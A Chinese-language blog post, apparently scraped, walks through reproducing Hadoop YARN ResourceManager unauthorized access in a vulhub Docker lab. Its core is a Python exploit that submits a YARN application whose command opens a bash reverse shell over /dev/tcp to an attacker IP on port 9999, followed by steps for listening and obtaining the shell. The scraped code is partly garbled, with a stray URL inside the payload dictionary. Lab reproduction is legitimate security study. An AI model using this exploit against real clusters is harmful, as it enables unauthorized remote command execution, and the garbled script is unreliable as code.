Hadoop|Hadoop YARN ResourceManager 未授权访问复现

环境 【Hadoop|Hadoop YARN ResourceManager 未授权访问复现】https://vulhub.org/#/environments/hadoop/unauthorized-yarn/

[root@localhost unauthorized-yarn]# pwd /root/zzqsmile/vulhub/hadoop/unauthorized-yarn [root@localhost unauthorized-yarn]# docker-compose up -d

Hadoop|Hadoop YARN ResourceManager 未授权访问复现
文章图片
图片.png exp
#!/usr/bin/env pythonimport requeststarget = 'http://10.12.10.201:8088/' lhost = '107.182.30.95' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = https://www.it610.com/article/{'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost, }, }, 'application-type': 'YARN', } requests.post(url, json=data)

复现
  • 监听
Hadoop|Hadoop YARN ResourceManager 未授权访问复现
文章图片
图片.png
  • exp运行
Hadoop|Hadoop YARN ResourceManager 未授权访问复现
文章图片
图片.png
  • 成功getshell
Hadoop|Hadoop YARN ResourceManager 未授权访问复现
文章图片
图片.png 环境移除
[root@localhost unauthorized-yarn]# docker-compose down

    推荐阅读